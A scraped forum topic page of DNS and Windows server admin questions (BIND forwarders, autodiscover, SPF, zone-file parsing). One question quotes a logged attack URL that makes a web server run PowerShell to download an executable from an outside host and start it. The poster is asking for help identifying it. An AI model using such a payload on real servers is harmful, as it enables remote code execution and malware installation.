DNS

26K

Solutions

26K

Contributors

The Domain Name System (DNS) is a hierarchical, globally distributed system responsible for associating the name of a computer, service or other resource into an IP address for connecting to the Internet or a private network. Most prominently, it translates domain names to the numerical IP addresses needed for the purpose of computer services and devices worldwide.

Share tech news, updates, or what's on your mind.

Sign up to Post

With my little powershell command i try to get CNAME record from domain.
When i execute this command <Get-DnsServerResourceRecord -ZoneName "ccsmtl.lab" -RRType CName -ComputerName S-ADS001> i have all information. But when it comes to filter to have specific result there is no information for this command <Get-DnsServerResourceRecord -ZoneName "ccsmtl.lab" -RRType CName -ComputerName S-ADS001 | Where {$_.RecordData -like "S-SUBCA001*"}>
In the attached file I put the screenshot of the results of the console powershell
CNameOutPut.txt
1
Fundamentals of JavaScript
LVL 13
Fundamentals of JavaScript

Learn the fundamentals of the popular programming language JavaScript so that you can explore the realm of web development.

I'm about linux dns (bind9).

In the corresponding configuration file for bind I have configured dynamic DNS forwarder (namebench).

My question is: how can I find out which forwarder bind9 actually uses?
0
I have a Raspberry Pi that functions as a print server. It runs CUPS and it has a static IP Address. With Bind I am mapping the server to the domain 'printer.home'. I also have reverse DNS configured for 'printer.home'.

I would like to use this Raspberry Pi to host a local website - a dynamic website that lets users browse records that I have. I would like to give it the domain 'records.home'. I guess it will be no problem creating another A record for the same IP Address and 'records.home'. But what about the reverse record? Do I just omit it for this domain?
0
Hello - I am reading that an auto-discover record is required now for Outlook 2016/19 to connect to your Exchange Server.  I need to understand if this pertains to BOTH Exchange Online AND Exchange Server (on prem)? or are they just meaning for Exchange ONLINE only, an autodiscover record is needed in DNS?  The specify the format of the record as "autodiscover.domain.com", which would only apply to Internet searches, and not within our internal network, correct?  Looking for some clarification on this, as to what do I need for my clients on my network internally to find the Excahnge Server locally.  

Thank you,
Damian
0
I asked this before and like to expand a bit deeper.  
 For some reason we have two DNS partitions.  company.com and company.local
No immediate problems to resolve, but there is potential for corruption.  My thoughts to remove it completely but like to research first.
The zone shows up on all Domain Controllers, but for some reason the replication is only pushed out via one particular.  All DCs replicate 5 partitions, but that one replicates 7.  The additional 2 are the partitions related to company.local
Its behaving like old 2003 AD partition where we only had single source replication from the PDC.  Could that be because I have all the FSMO roles on that DC?
0
I currently have a surface pro in my possession running Windows 10.   The wireless network adapter is connected using DHCP (both IP and DNS) as another laptop to the same internal network.   I have disabled all VPN clients and the internal wireless nic on the surface pro is getting the correct internal address.    

However when I attempt to ping the dc controller which is on the same internal subnet on the working machine the ping returns the internal local address of the DC.  When I attempt to ping it from the surface pro its attempting to ping an external dns with an external IP constantly and I am unable to unc to the server because of it.   I have flushed and re-registered the DNS rebooted reconnected to the internal WIFI with no luck.   Any thoughts?
0
Hello.

I have a Master/Slave DNS setup using Bind9 and RNDC on Centos7.  It is working properly and zones are being replicated from the master server to the slave server when created.  When a zone is deleted from the master, the RNDC command deletes the zone from the .nzf file correctly, however the actual zone file containing the records is left on the slave servers forever.  Is there a way to make BIND clean up after itself for all discovered zone files which arent defined in slave .nzf file?  I should clarify that I don't have the option to edit the rndc commands which are fired from the master server as it is not in my control.  So maybe a script that would crawl the conf file daily and remove any zone files in /var/named/  which are not referenced in the .nzf file?

Thanks
0
Hi,

Could someone please explain the practical difference between these two dns settings in DHCP?
DHCP-DNS-config.PNG
I am currently set to "Dynamically update DNS records only if requested by DHCP" but I have read that best practice is to use "Always dynamically update DNS and PTR records"

 Why should I do this? I do see many duplicate/old A records in my DNS. Will changing the setting to "always" stop these duplicate records?
old-duplicate-dns-records.PNG
Thank you very much
0
I've noticed that all of my web servers were logging this block below from my host intrusion prevention system.  For privacy, assume this particular webserver has a dns name of zeus.xyzcorp.com

zeus.xyzcorp.com/public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://a46.bulehero.in/download.exe','C:/8.exe');start%20C:/8.exe

Is this bot just a crafted URL request being thrown at my webserver in hopes that it is vulnerable to run a powershell script that will make it reach out and download + execute something? Which exploit would this be targetting?
0
We're setting up a new O365 tenant, migrating an existing email domain to O365.

To pre-stage accounts, we need to verify ownership of the domain.

Can we verify ownership of domain with TXT file or code for O365 but leave the MX record in place with the current DNS provider?  That way, we can add accounts ahead of time but leave mail uninterrupted until we are ready to change MX over?  

Thanks in advance!
0
Learn Ruby Fundamentals
LVL 13
Learn Ruby Fundamentals

This course will introduce you to Ruby, as well as teach you about classes, methods, variables, data structures, loops, enumerable methods, and finishing touches.

Hello,

I have a 5200 line text file full of DNS zone information.  It is formatted such with line 1 being the SOA record, and the last 2 lines of the zone are "Success..." and then "----" and then it repeats with the next zone.  An example of the top 2 records looks like the following:

domain1.com. SOA dauth5.server.com. contact.domain1.com. 2018020603 10800 3600 604800 10800
webmail.domain1.com. CNAME  domain1.com.
domain1.com. NS  dauth5.server.com.
domain1.com. MX 10 mail3.serverhosting.com.
domain1.com. A  255.255.138.2
mail.domain1.com. CNAME  mail3.serverhosting.com.
pop.domain1.com. CNAME  pop.serverhosting.com.
domain1.com. MX 10 mx1-us1.ppe-hosted.com.
www.domain1.com. CNAME  domain1.com.
domain1.com. NS  dauth6.server.com.
domain1.com. MX 20 mx2-us1.ppe-hosted.com.
smtp.domain1.com. CNAME  smtp.serverhosting.com.
SUCCESS: Getting information for Domain 'domain1.com' complete.
---------------
domain2.com. SOA dauth5.server.com. admin.server.com. 2018052503 900 600 86400 10800
domain2.com. A  192.168.255.2
domain2.com. MX 20 mx2-us1.ppe-hosted.com.
domain2.com. MX 10 mx1-us1.ppe-hosted.com.
www.domain2.com. CNAME  domain2.com.
mail.domain2.com. CNAME  mail4.serverhosting.com.
domain2.com. NS  dauth5.server.com.
domain2.com. NS  dauth6.server.com.
SUCCESS: Getting information for Domain 'domain2.com' complete.
---------------

Open in new window


I would like a powershell script that will take my file as in input, then split the file into multiple text files saved to a specific path.  The file name should be the very first word on line1 (domain1.com.text and domain2.com.text in the scenario above), then they should contain all lines up to the "Success:, and the following------" lines.  Those can be discarded.  So after processing the script given the text file above, I would be left with the following:

c:\temp\domain1.com.txt which would look like:
domain1.com. SOA dauth5.server.com. contact.domain1.com. 2018020603 10800 3600 604800 10800
webmail.domain1.com. CNAME  domain1.com.
domain1.com. NS  dauth5.server.com.
domain1.com. MX 10 mail3.serverhosting.com.
domain1.com. A  255.255.138.2
mail.domain1.com. CNAME  mail3.serverhosting.com.
pop.domain1.com. CNAME  pop.serverhosting.com.
domain1.com. MX 10 mx1-us1.ppe-hosted.com.
www.domain1.com. CNAME  domain1.com.
domain1.com. NS  dauth6.server.com.
domain1.com. MX 20 mx2-us1.ppe-hosted.com.
smtp.domain1.com. CNAME  smtp.serverhosting.com.

Open in new window


and c:\temp\domain2.com.text which would look like:
domain2.com. SOA dauth5.server.com. admin.server.com. 2018052503 900 600 86400 10800
domain2.com. A  192.168.255.2
domain2.com. MX 20 mx2-us1.ppe-hosted.com.
domain2.com. MX 10 mx1-us1.ppe-hosted.com.
www.domain2.com. CNAME  domain2.com.
mail.domain2.com. CNAME  mail4.serverhosting.com.
domain2.com. NS  dauth5.server.com.
domain2.com. NS  dauth6.server.com.

Open in new window


I think I will end up with a few hundred text files, but this would save me a ton of time!  Thanks in advance!
0
Hi,

I have demoted a number of DC's recently and I see that DNS server role is still installed on all of them. Also I see in the reverse lookup zones that all the old Name server records are still there. My dns is integrated with AD.

1. Once I demote the old DC, can remove dns server role from that machine safely?  I dont want zones disappearing or anything of that nature.  

2. Do I have to manually delete all old name server records?
0
Hello! I have what I hope is a basic SPF functionality question. Let's say I have mydomain1.com and mydomain2.com and both have SPF records set in DNS. Now if I put an "include:mydomain2.com" in the mydomain1.com SPF records, does that mean that any IP address in the mydomain2.com SPF record is included in the SPF record for mydomain1.com as a result?
0
I have a site that uses a Cisco Wireless Lan Controller.  We have 3 access points that attach to the controller.  The controller is not set up as the DHCP and all the access points have static IP's.  About a month ago, the wireless devices were dropping their connection and no one seem to understand why.  Once the connection was dropped, the user could connect wired and get back on and then I would put a static IP into the wireless adapter and the computer worked fine.  I noticed every time I made this change, I would get the standard message that there were multiple networks connected.  I later discovered that the WLC was also sending out IP's.  I turned that feature off and the devices now connect to the correct DHCP server which is set up on the router.  I am still having the issue with devices dropping connections and I noticed that the DNS IP address is set to 127.0.0.1.  I have no idea why that is being changed.  I have checked my router and that is fine.  I have checked my WLC and everything appears to be fine.  No one has access to this device but me and I don't see any setting that would cause this.  Any thoughts?
0
HI Exchange experts

just a question: our Marketing has published a new email address support@shop.sword.com
Now they found out, that they instructed us to create a mailbox named support.shop@sword.com

now marketing department slightly in panic, because they already have given out this official address to be printed and to the press. This is the fault of marketing.

so what we can do to help them

our domain only sword.com

can we change something can fix this issue

maybe create a mx record in our external BIND or any idea can help us here

because for internal use no issue but how we can fix the external use when ppl send email from outside our exchange servers

kindly advice
0
Looking at our DNS records I see some that have a timestamp with a date & time other's that just say "static" is this showing the last time the particular IP was used?  When removing a machine from Domain & adding it back is it necessary to delete the entry in DNS then recreate it?
0
Hi all I need to add a domain name to a company domain controller to address an issue where the lookup zone is incorrect.   Where would I add the record?  

What is happening is they can access the name outside of their network however if they try to resolve to the name from any browser behind the firewall they can not hit the name.
0
Recently we migrated to a new service with AT&T which gave us more bandwidth and increased connectivity but today when I come in our Email server is not sending out emails but is receiving emails. We are running an Exchange 2010 server and I have gone out to Network Solutions and changed our mail.<domain name>.com A record and updated our MX record which I checked using DNS Checker which comes back with the correct A record and the MX record is seen but I still cannot send out emails. I am currently trying to get our PTR record confirmed/changed but don't understand why my emails are not going out.

I made some test emails the day we did the migration and they were received by my outside email and when sent back to my work email I received them however one went into spam and the other in my inbox. I know it takes time to propagate on the internet but it has been 3 days and still I am having issues.

What can I check or do to fix this issue?
0
I have a large text file that consists of the top 11 lines of a bunch of dns zone files.  I need to parse this file and create a new file that generates a single line for every iteration of the pattern.  Essentially the pattern consists of 11 lines, followed by a domain line and then repeats.  For example, the pattern looks like the following:

; *** This file is automatically generated by Plesk ***
$TTL	86400

@	IN	SOA	dauth5.domain.com. contact.domain2.com. (
			2018020603	; Serial
			10800	; Refresh
			3600	; Retry
			604800	; Expire
			10800 )	; Minimum

---------------domain2.com

Open in new window


This pattern repeats over and over for every domain name contained on our server.  What I would like is to parse the file for each of these 11 lines and return the following:

domain2.      SOA    dauth5.domain.com.  2018020603 10800 3600 604800 10800

The "domain2" above comes from line 11 each time.  Can anyone write a script or perhaps a quick way in Notepad++ to get the data formatted the way I want?  Thanks!
1
Introduction to R
LVL 13
Introduction to R

R is considered the predominant language for data scientist and statisticians. Learn how to use R for your own data science projects.

I have a small network (single server) running Windows Server 2012r2.

I am looking at the output from the server ipconfig /all and I am confused about the DNS settings that are being reported.  One network card is showing DNS to be 127.0.0.1 and the other one ::1

I was expecting them both to be using IPv4 and both using 127.0.0.1.  Is the NIC1 wrongly configured ?
adapter_config.jpg
0
Is it possible to put in a 2019 Server, make it the Backup Domain Controller to a 2008 Domain Controller, then promote the 2019 to the new DC?  I have done this with 2016 before from a 2008 but have not tried 2019 and wanted to make sure everything is compatible for moving the Active Directory, DNS, etc...
0
Monitor Alert Notification
Hi AEM Support
An alert was triggered for a monitor configured for site (customer) on device (Terminal Server)
The monitor is as follows:
Performance monitor for Status to alert if Offline for 10 mins
The alert was triggered at: 2019-02-27 14:46:13 EST
Device went Offline (Offline for 10 mins)

Can anyone help with this one?  Currently we have a customer who is running load balancing between 2 terminal servers.   Occasionally one of the 2 terminal servers will simply report as offline, where RDP no longer works and the terminal server is no longer pingable.  

However the server can be UNC'ed to from another server such as the DC.  You can \\terminalserver\ and it pops up.  

Here is the current specs of the server.
Operating System: Microsoft Windows Server 2008 R2 Standard 6.1.7601
Service Pack: 1
Architecture: 64-Bit
Hyper-V Version: 6.1.7601.17514
.NET Version: 4.7.03062

Processor: Intel(R) Xeon(R) CPU E5620 @ 2.40GHz
Physical Cores: 4
Memory: 18 GB
Display Adapter:
ShoreTel Desktop Sharing Accelerator
LogMeIn Mirror Driver
ATI ES1000
Monitors:
Default Monitor (null x null)
Generic Non-PnP Monitor (null x null)
BIOS Name: Default System BIOS
BIOS Version: W07
BIOS Release Date: 2011-01-28
Power Rating: 350 Watts

HP NC326i PCIe Dual Port Gigabit Server Adapter (Setup for Load balancing)

The machine currently remains on and in CTRL ALT DEL mode.   You can log into it from the local …
0
I am currently experiencing an issue with one of my clients.  Each time they lose power I am forced to power their units up manually since they do not have an active WOL setup.   After I log into the servers after bringing the DC/ FS back up I noticed that no one is able to get any internal connectivity to the network or internet.   The only way I am able to restore internet/ local lan connectivity is to flush the DNS cache, re-register the DNS cache reboot the DC and then everything is restored.


Windows Server 2016 Standard
NIC - Embedded LOM 1 on Port 1
DNS set to 127.0.0.1
Secondary 8.8.8.8

Not sure what else to include this is a class c network with only 3 servers a couple of managed switches and 1 ASA.
0
Hi All,

We are looking at publishing one of our servers with a web service onto the internet. We already own the domain abc.co.uk and have our company website with this name hosted externally. We want to use service.abc.co.uk to publish our server. If we add this DNS entry externally will it cause problems with our company website/ domain? Secondly do we have to own the name service.abc.co.uk before we publish it?

Sorry for the newbie question.

Cheers,
Paul
0
This is a Windows DNS Server question.

On the windows server that has the DNS role, this server connects to a SAN as well. So basically the server has 8 nic ports. 4 are teamed for the windows environment, and the other 4 ports are used for multipath to the SAN.

So in the dns config section i go to the properties tab of the dns server. On the interface tab it shows 5 ips. The 1 that entails my windows team, and then the 4 that go to the san. I unchecked all of the SAN ips since my clients were associating this san ip to the server when looking for a logon server etc.. However when i uncheck all my san ips that goofy self test it does on the monitoring tab always says it fails.

However when i put in this server to my laptops static dns list it seems to work fine for web, browsing pc names on the network. I even flushed all the caches locally and on the server to make sure.

Does it matter if the monitor tab fails? If i put all my san ips back in under interfaces it passes, but then the server advertises these address on my network as a way to get to it which is wrong obviously. I am content with not worrying about the monitoring tab if this is normal for people who have had a server running dns server which also connected to a san.

Any comments or suggestions welcome. Thanks!
0

DNS

26K

Solutions

26K

Contributors

The Domain Name System (DNS) is a hierarchical, globally distributed system responsible for associating the name of a computer, service or other resource into an IP address for connecting to the Internet or a private network. Most prominently, it translates domain names to the numerical IP addresses needed for the purpose of computer services and devices worldwide.